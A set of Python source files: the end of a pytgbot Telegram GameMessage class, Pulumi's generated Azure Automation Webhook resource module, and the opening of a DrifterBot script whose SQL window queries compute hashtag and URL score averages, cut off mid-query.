one 'Play game_title' button will be shown. If not empty, the first button must launch the game. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup """ super(GameMessage, self).__init__() from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup assert_type_or_raise(game_short_name, unicode_type, parameter_name="game_short_name") self.game_short_name = game_short_name assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_game( game_short_name=self.game_short_name, chat_id=self.receiver, reply_to_message_id=self.reply_id, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this GameMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup array = super(GameMessage, self).to_array() array['game_short_name'] = u(self.game_short_name) # py2: type unicode, py3: type str if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the GameMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup data = super(GameMessage, GameMessage).validate_array(array) data['game_short_name'] = u(array.get('game_short_name')) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) if array.get('reply_markup') is not None else None return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new GameMessage from a given dictionary. :return: new GameMessage instance. :rtype: GameMessage """ if not array: # None or {} return None # end if data = GameMessage.validate_array(array) return GameMessage(**data) # end def from_array def __str__(self): """ Implements `str(gamemessage_instance)` """ return "GameMessage(game_short_name={self.game_short_name!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(gamemessage_instance)` """ return "GameMessage(game_short_name={self.game_short_name!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in gamemessage_instance` """ return ( key in ["game_short_name", "receiver", "reply_id", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class GameMessage

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Python

sdk/python/pulumi_azure/automation/webhook.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

109

2018-06-18T00:19:44.000Z

2022-02-20T05:32:57.000Z

sdk/python/pulumi_azure/automation/webhook.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

663

2018-06-18T21:08:46.000Z

2022-03-31T20:10:11.000Z

sdk/python/pulumi_azure/automation/webhook.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

41

2018-07-19T22:37:38.000Z

2022-03-14T10:56:26.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['WebhookArgs', 'Webhook'] @pulumi.input_type class WebhookArgs: def __init__(__self__, *, automation_account_name: pulumi.Input[str], expiry_time: pulumi.Input[str], resource_group_name: pulumi.Input[str], runbook_name: pulumi.Input[str], enabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None, parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, run_on_worker_group: Optional[pulumi.Input[str]] = None, uri: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Webhook resource. :param pulumi.Input[str] automation_account_name: The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[str] expiry_time: Timestamp when the webhook expires. Changing this forces a new resource to be created. :param pulumi.Input[str] resource_group_name: The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[str] runbook_name: Name of the Automation Runbook to execute by Webhook. :param pulumi.Input[bool] enabled: Controls if Webhook is enabled. Defaults to `true`. :param pulumi.Input[str] name: Specifies the name of the Webhook. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Map of input parameters passed to runbook. :param pulumi.Input[str] run_on_worker_group: Name of the hybrid worker group the Webhook job will run on. :param pulumi.Input[str] uri: URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ pulumi.set(__self__, "automation_account_name", automation_account_name) pulumi.set(__self__, "expiry_time", expiry_time) pulumi.set(__self__, "resource_group_name", resource_group_name) pulumi.set(__self__, "runbook_name", runbook_name) if enabled is not None: pulumi.set(__self__, "enabled", enabled) if name is not None: pulumi.set(__self__, "name", name) if parameters is not None: pulumi.set(__self__, "parameters", parameters) if run_on_worker_group is not None: pulumi.set(__self__, "run_on_worker_group", run_on_worker_group) if uri is not None: pulumi.set(__self__, "uri", uri) @property @pulumi.getter(name="automationAccountName") def automation_account_name(self) -> pulumi.Input[str]: """ The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. """ return pulumi.get(self, "automation_account_name") @automation_account_name.setter def automation_account_name(self, value: pulumi.Input[str]): pulumi.set(self, "automation_account_name", value) @property @pulumi.getter(name="expiryTime") def expiry_time(self) -> pulumi.Input[str]: """ Timestamp when the webhook expires. Changing this forces a new resource to be created. """ return pulumi.get(self, "expiry_time") @expiry_time.setter def expiry_time(self, value: pulumi.Input[str]): pulumi.set(self, "expiry_time", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="runbookName") def runbook_name(self) -> pulumi.Input[str]: """ Name of the Automation Runbook to execute by Webhook. """ return pulumi.get(self, "runbook_name") @runbook_name.setter def runbook_name(self, value: pulumi.Input[str]): pulumi.set(self, "runbook_name", value) @property @pulumi.getter def enabled(self) -> Optional[pulumi.Input[bool]]: """ Controls if Webhook is enabled. Defaults to `true`. """ return pulumi.get(self, "enabled") @enabled.setter def enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Specifies the name of the Webhook. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Map of input parameters passed to runbook. """ return pulumi.get(self, "parameters") @parameters.setter def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "parameters", value) @property @pulumi.getter(name="runOnWorkerGroup") def run_on_worker_group(self) -> Optional[pulumi.Input[str]]: """ Name of the hybrid worker group the Webhook job will run on. """ return pulumi.get(self, "run_on_worker_group") @run_on_worker_group.setter def run_on_worker_group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "run_on_worker_group", value) @property @pulumi.getter def uri(self) -> Optional[pulumi.Input[str]]: """ URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ return pulumi.get(self, "uri") @uri.setter def uri(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "uri", value) @pulumi.input_type class _WebhookState: def __init__(__self__, *, automation_account_name: Optional[pulumi.Input[str]] = None, enabled: Optional[pulumi.Input[bool]] = None, expiry_time: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, run_on_worker_group: Optional[pulumi.Input[str]] = None, runbook_name: Optional[pulumi.Input[str]] = None, uri: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering Webhook resources. :param pulumi.Input[str] automation_account_name: The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[bool] enabled: Controls if Webhook is enabled. Defaults to `true`. :param pulumi.Input[str] expiry_time: Timestamp when the webhook expires. Changing this forces a new resource to be created. :param pulumi.Input[str] name: Specifies the name of the Webhook. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Map of input parameters passed to runbook. :param pulumi.Input[str] resource_group_name: The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[str] run_on_worker_group: Name of the hybrid worker group the Webhook job will run on. :param pulumi.Input[str] runbook_name: Name of the Automation Runbook to execute by Webhook. :param pulumi.Input[str] uri: URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ if automation_account_name is not None: pulumi.set(__self__, "automation_account_name", automation_account_name) if enabled is not None: pulumi.set(__self__, "enabled", enabled) if expiry_time is not None: pulumi.set(__self__, "expiry_time", expiry_time) if name is not None: pulumi.set(__self__, "name", name) if parameters is not None: pulumi.set(__self__, "parameters", parameters) if resource_group_name is not None: pulumi.set(__self__, "resource_group_name", resource_group_name) if run_on_worker_group is not None: pulumi.set(__self__, "run_on_worker_group", run_on_worker_group) if runbook_name is not None: pulumi.set(__self__, "runbook_name", runbook_name) if uri is not None: pulumi.set(__self__, "uri", uri) @property @pulumi.getter(name="automationAccountName") def automation_account_name(self) -> Optional[pulumi.Input[str]]: """ The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. """ return pulumi.get(self, "automation_account_name") @automation_account_name.setter def automation_account_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "automation_account_name", value) @property @pulumi.getter def enabled(self) -> Optional[pulumi.Input[bool]]: """ Controls if Webhook is enabled. Defaults to `true`. """ return pulumi.get(self, "enabled") @enabled.setter def enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "enabled", value) @property @pulumi.getter(name="expiryTime") def expiry_time(self) -> Optional[pulumi.Input[str]]: """ Timestamp when the webhook expires. Changing this forces a new resource to be created. """ return pulumi.get(self, "expiry_time") @expiry_time.setter def expiry_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "expiry_time", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Specifies the name of the Webhook. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def parameters(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ Map of input parameters passed to runbook. """ return pulumi.get(self, "parameters") @parameters.setter def parameters(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "parameters", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> Optional[pulumi.Input[str]]: """ The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="runOnWorkerGroup") def run_on_worker_group(self) -> Optional[pulumi.Input[str]]: """ Name of the hybrid worker group the Webhook job will run on. """ return pulumi.get(self, "run_on_worker_group") @run_on_worker_group.setter def run_on_worker_group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "run_on_worker_group", value) @property @pulumi.getter(name="runbookName") def runbook_name(self) -> Optional[pulumi.Input[str]]: """ Name of the Automation Runbook to execute by Webhook. """ return pulumi.get(self, "runbook_name") @runbook_name.setter def runbook_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "runbook_name", value) @property @pulumi.getter def uri(self) -> Optional[pulumi.Input[str]]: """ URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ return pulumi.get(self, "uri") @uri.setter def uri(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "uri", value) class Webhook(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, automation_account_name: Optional[pulumi.Input[str]] = None, enabled: Optional[pulumi.Input[bool]] = None, expiry_time: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, run_on_worker_group: Optional[pulumi.Input[str]] = None, runbook_name: Optional[pulumi.Input[str]] = None, uri: Optional[pulumi.Input[str]] = None, __props__=None): """ Manages an Automation Runbook's Webhook. ## Example Usage ```python import pulumi import pulumi_azure as azure example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe") example_account = azure.automation.Account("exampleAccount", location=example_resource_group.location, resource_group_name=example_resource_group.name, sku_name="Basic") example_run_book = azure.automation.RunBook("exampleRunBook", location=example_resource_group.location, resource_group_name=example_resource_group.name, automation_account_name=example_account.name, log_verbose=True, log_progress=True, description="This is an example runbook", runbook_type="PowerShellWorkflow", publish_content_link=azure.automation.RunBookPublishContentLinkArgs( uri="https://raw.githubusercontent.com/Azure/azure-quickstart-templates/c4935ffb69246a6058eb24f54640f53f69d3ac9f/101-automation-runbook-getvms/Runbooks/Get-AzureVMTutorial.ps1", )) example_webhook = azure.automation.Webhook("exampleWebhook", resource_group_name=example_resource_group.name, automation_account_name=example_account.name, expiry_time="2021-12-31T00:00:00Z", enabled=True, runbook_name=example_run_book.name, parameters={ "input": "parameter", }) ``` ## Import Automation Webhooks can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:automation/webhook:Webhook TestRunbook_webhook /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.Automation/automationAccounts/account1/webhooks/TestRunbook_webhook ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] automation_account_name: The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[bool] enabled: Controls if Webhook is enabled. Defaults to `true`. :param pulumi.Input[str] expiry_time: Timestamp when the webhook expires. Changing this forces a new resource to be created. :param pulumi.Input[str] name: Specifies the name of the Webhook. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Map of input parameters passed to runbook. :param pulumi.Input[str] resource_group_name: The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[str] run_on_worker_group: Name of the hybrid worker group the Webhook job will run on. :param pulumi.Input[str] runbook_name: Name of the Automation Runbook to execute by Webhook. :param pulumi.Input[str] uri: URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ ... @overload def __init__(__self__, resource_name: str, args: WebhookArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Manages an Automation Runbook's Webhook. ## Example Usage ```python import pulumi import pulumi_azure as azure example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe") example_account = azure.automation.Account("exampleAccount", location=example_resource_group.location, resource_group_name=example_resource_group.name, sku_name="Basic") example_run_book = azure.automation.RunBook("exampleRunBook", location=example_resource_group.location, resource_group_name=example_resource_group.name, automation_account_name=example_account.name, log_verbose=True, log_progress=True, description="This is an example runbook", runbook_type="PowerShellWorkflow", publish_content_link=azure.automation.RunBookPublishContentLinkArgs( uri="https://raw.githubusercontent.com/Azure/azure-quickstart-templates/c4935ffb69246a6058eb24f54640f53f69d3ac9f/101-automation-runbook-getvms/Runbooks/Get-AzureVMTutorial.ps1", )) example_webhook = azure.automation.Webhook("exampleWebhook", resource_group_name=example_resource_group.name, automation_account_name=example_account.name, expiry_time="2021-12-31T00:00:00Z", enabled=True, runbook_name=example_run_book.name, parameters={ "input": "parameter", }) ``` ## Import Automation Webhooks can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:automation/webhook:Webhook TestRunbook_webhook /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/group1/providers/Microsoft.Automation/automationAccounts/account1/webhooks/TestRunbook_webhook ``` :param str resource_name: The name of the resource. :param WebhookArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(WebhookArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, automation_account_name: Optional[pulumi.Input[str]] = None, enabled: Optional[pulumi.Input[bool]] = None, expiry_time: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, run_on_worker_group: Optional[pulumi.Input[str]] = None, runbook_name: Optional[pulumi.Input[str]] = None, uri: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = WebhookArgs.__new__(WebhookArgs) if automation_account_name is None and not opts.urn: raise TypeError("Missing required property 'automation_account_name'") __props__.__dict__["automation_account_name"] = automation_account_name __props__.__dict__["enabled"] = enabled if expiry_time is None and not opts.urn: raise TypeError("Missing required property 'expiry_time'") __props__.__dict__["expiry_time"] = expiry_time __props__.__dict__["name"] = name __props__.__dict__["parameters"] = parameters if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["run_on_worker_group"] = run_on_worker_group if runbook_name is None and not opts.urn: raise TypeError("Missing required property 'runbook_name'") __props__.__dict__["runbook_name"] = runbook_name __props__.__dict__["uri"] = uri super(Webhook, __self__).__init__( 'azure:automation/webhook:Webhook', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, automation_account_name: Optional[pulumi.Input[str]] = None, enabled: Optional[pulumi.Input[bool]] = None, expiry_time: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, parameters: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, run_on_worker_group: Optional[pulumi.Input[str]] = None, runbook_name: Optional[pulumi.Input[str]] = None, uri: Optional[pulumi.Input[str]] = None) -> 'Webhook': """ Get an existing Webhook resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] automation_account_name: The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[bool] enabled: Controls if Webhook is enabled. Defaults to `true`. :param pulumi.Input[str] expiry_time: Timestamp when the webhook expires. Changing this forces a new resource to be created. :param pulumi.Input[str] name: Specifies the name of the Webhook. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] parameters: Map of input parameters passed to runbook. :param pulumi.Input[str] resource_group_name: The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. :param pulumi.Input[str] run_on_worker_group: Name of the hybrid worker group the Webhook job will run on. :param pulumi.Input[str] runbook_name: Name of the Automation Runbook to execute by Webhook. :param pulumi.Input[str] uri: URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _WebhookState.__new__(_WebhookState) __props__.__dict__["automation_account_name"] = automation_account_name __props__.__dict__["enabled"] = enabled __props__.__dict__["expiry_time"] = expiry_time __props__.__dict__["name"] = name __props__.__dict__["parameters"] = parameters __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["run_on_worker_group"] = run_on_worker_group __props__.__dict__["runbook_name"] = runbook_name __props__.__dict__["uri"] = uri return Webhook(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="automationAccountName") def automation_account_name(self) -> pulumi.Output[str]: """ The name of the automation account in which the Webhook is created. Changing this forces a new resource to be created. """ return pulumi.get(self, "automation_account_name") @property @pulumi.getter def enabled(self) -> pulumi.Output[Optional[bool]]: """ Controls if Webhook is enabled. Defaults to `true`. """ return pulumi.get(self, "enabled") @property @pulumi.getter(name="expiryTime") def expiry_time(self) -> pulumi.Output[str]: """ Timestamp when the webhook expires. Changing this forces a new resource to be created. """ return pulumi.get(self, "expiry_time") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Specifies the name of the Webhook. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @property @pulumi.getter def parameters(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ Map of input parameters passed to runbook. """ return pulumi.get(self, "parameters") @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Output[str]: """ The name of the resource group in which the Webhook is created. Changing this forces a new resource to be created. """ return pulumi.get(self, "resource_group_name") @property @pulumi.getter(name="runOnWorkerGroup") def run_on_worker_group(self) -> pulumi.Output[Optional[str]]: """ Name of the hybrid worker group the Webhook job will run on. """ return pulumi.get(self, "run_on_worker_group") @property @pulumi.getter(name="runbookName") def runbook_name(self) -> pulumi.Output[str]: """ Name of the Automation Runbook to execute by Webhook. """ return pulumi.get(self, "runbook_name") @property @pulumi.getter def uri(self) -> pulumi.Output[str]: """ URI to initiate the webhook. Can be generated using [Generate URI API](https://docs.microsoft.com/en-us/rest/api/automation/webhook/generate-uri). By default, new URI is generated on each new resource creation. """ return pulumi.get(self, "uri")

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Python

metric/time_series_scores.py

IUNetSci/DrifterBot

05c502fcf9a626321ca20ff83c7c7e5e03cd221d

[ "MIT" ]

13

2020-05-28T21:18:26.000Z

2022-02-21T09:19:23.000Z

metric/time_series_scores.py

IUNetSci/DrifterBot

05c502fcf9a626321ca20ff83c7c7e5e03cd221d

[ "MIT" ]

5

2020-05-20T23:15:49.000Z

2020-05-27T00:32:36.000Z

metric/time_series_scores.py

IUNetSci/DrifterBot

05c502fcf9a626321ca20ff83c7c7e5e03cd221d

[ "MIT" ]

8

2020-08-17T10:52:12.000Z

2022-01-20T15:48:15.000Z

import psycopg2 from psycopg2.extensions import AsIs import numpy as np import pandas as pd import os INIT_SEEDS = [ 'USATODAY', 'thenation', 'washingtonpost', 'WSJ', 'BreitbartNews', ] # get their twitter user ids later. INIT_SEED_MAP = { 'thenation': [<'drifter_scren_name'>,...], 'washingtonpost': [], 'USATODAY': [], 'WSJ': [], 'BreitbartNews': [] } BOT_NAME_MASK = { '<you_drifter_screen_name>':'bot<id>', } HASHTAG_USER_TL_SLIDING_WIN_FOR_EACH_BOT = """ SELECT distinct tw_score.day, AVG(tw_score.hashtag_score) over (order by tw_score.day ROWS BETWEEN 19 PRECEDING AND CURRENT ROW) AS hashtag_mean, VARIANCE(tw_score.hashtag_score) over (order by tw_score.day ROWS BETWEEN 19 PRECEDING AND CURRENT ROW) AS hashtag_var, count(*) over (order by tw_score.day ROWS BETWEEN 19 PRECEDING AND CURRENT ROW) AS tw_count FROM ( SELECT DISTINCT usr_timeline.tweet_id, bot.screen_name, usr_timeline.hashtag_score, date_trunc('day', usr_timeline.created_at) AS day, -- date usr_timeline.created_at FROM tweet usr_timeline, bot WHERE usr_timeline.user_id = bot.twitter_user_id AND usr_timeline.created_at < DATE '2019-12-02' AND bot.screen_name = '{}' AND usr_timeline.hashtag_score is not NULL ORDER BY usr_timeline.created_at ) AS tw_score order by tw_score.day; """ URL_USER_TL_SLIDING_WIN_FOR_EACH_BOT = """ SELECT distinct tw_score.day, AVG(tw_score.url_score) over (order by tw_score.day ROWS BETWEEN 19 PRECEDING AND CURRENT ROW) AS url_mean, VARIANCE(tw_score.url_score) over (order by tw_score.day ROWS BETWEEN 19 PRECEDING AND CURRENT ROW) AS url_var, count(*) over (order by tw_score.day ROWS BETWEEN 19 PRECEDING AND CURRENT ROW) AS tw_count FROM ( SELECT DISTINCT usr_timeline.tweet_id, bot.screen_name, usr_timeline.url_score, date_trunc('day', usr_timeline.created_at) AS day, usr_timeline.created_at FROM tweet usr_timeline, bot WHERE usr_timeline.user_id = bot.twitter_user_id AND usr_timeline.created_at < DATE '2019-12-02' AND bot.screen_name = '{}' AND usr_timeline.url_score is not null ORDER BY usr_timeline.created_at ) AS tw_score order by tw_score.day; """ HASHTAG_HOME_TL_SLIDING_WIN_FOR_EACH_BOT = """ SELECT distinct tw_score.day, AVG(tw_score.hashtag_score) over (order by tw_score.day ROWS BETWEEN 49 PRECEDING AND CURRENT ROW) AS hashtag_mean, VARIANCE(tw_score.hashtag_score) over (order by tw_score.day ROWS BETWEEN 49 PRECEDING AND CURRENT ROW) AS hashtag_var, count(*) over (order by tw_score.day ROWS BETWEEN 49 PRECEDING AND CURRENT ROW) AS tw_count FROM ( SELECT DISTINCT tw.tweet_id, tw.hashtag_score, date_trunc('day', checked_at) AS day, checked_at FROM home_timeline ht, home_timeline_tweets ht_tw, tweet tw, bot WHERE ht.bot_id = bot.bot_id AND checked_at < DATE '2019-12-02' AND ht.id = ht_tw.htl_id AND ht_tw.tw_id = tw.tweet_id AND bot.screen_name = '{}' AND tw.hashtag_score is not null ORDER BY checked_at ) AS tw_score ORDER BY tw_score.day; """ URL_HOME_TL_SLIDING_WIN_FOR_EACH_BOT = """ SELECT distinct tw_score.day, AVG(tw_score.url_score) over (order by tw_score.day ROWS BETWEEN 49 PRECEDING AND CURRENT ROW) AS url_mean, VARIANCE(tw_score.url_score) over (order by tw_score.day ROWS BETWEEN 49 PRECEDING AND CURRENT ROW) AS url_var, count(*) over (order by tw_score.day ROWS BETWEEN 49 PRECEDING AND CURRENT ROW) AS tw_count FROM ( SELECT DISTINCT tw.tweet_id, tw.url_score, date_trunc('day', checked_at) AS day, checked_at FROM home_timeline ht, home_timeline_tweets ht_tw, tweet tw, bot WHERE ht.bot_id = bot.bot_id AND checked_at < DATE '2019-12-02' AND ht.id = ht_tw.htl_id AND ht_tw.tw_id = tw.tweet_id AND bot.screen_name = '{}' AND tw.url_score is not null ORDER BY checked_at ) AS tw_score ORDER BY tw_score.day; """ URL_FRIEND_USR_TIMELINE = """ SELECT distinct friend_tw_scores.day, AVG(friend_tw_scores.url_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS url_mean, VARIANCE(friend_tw_scores.url_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 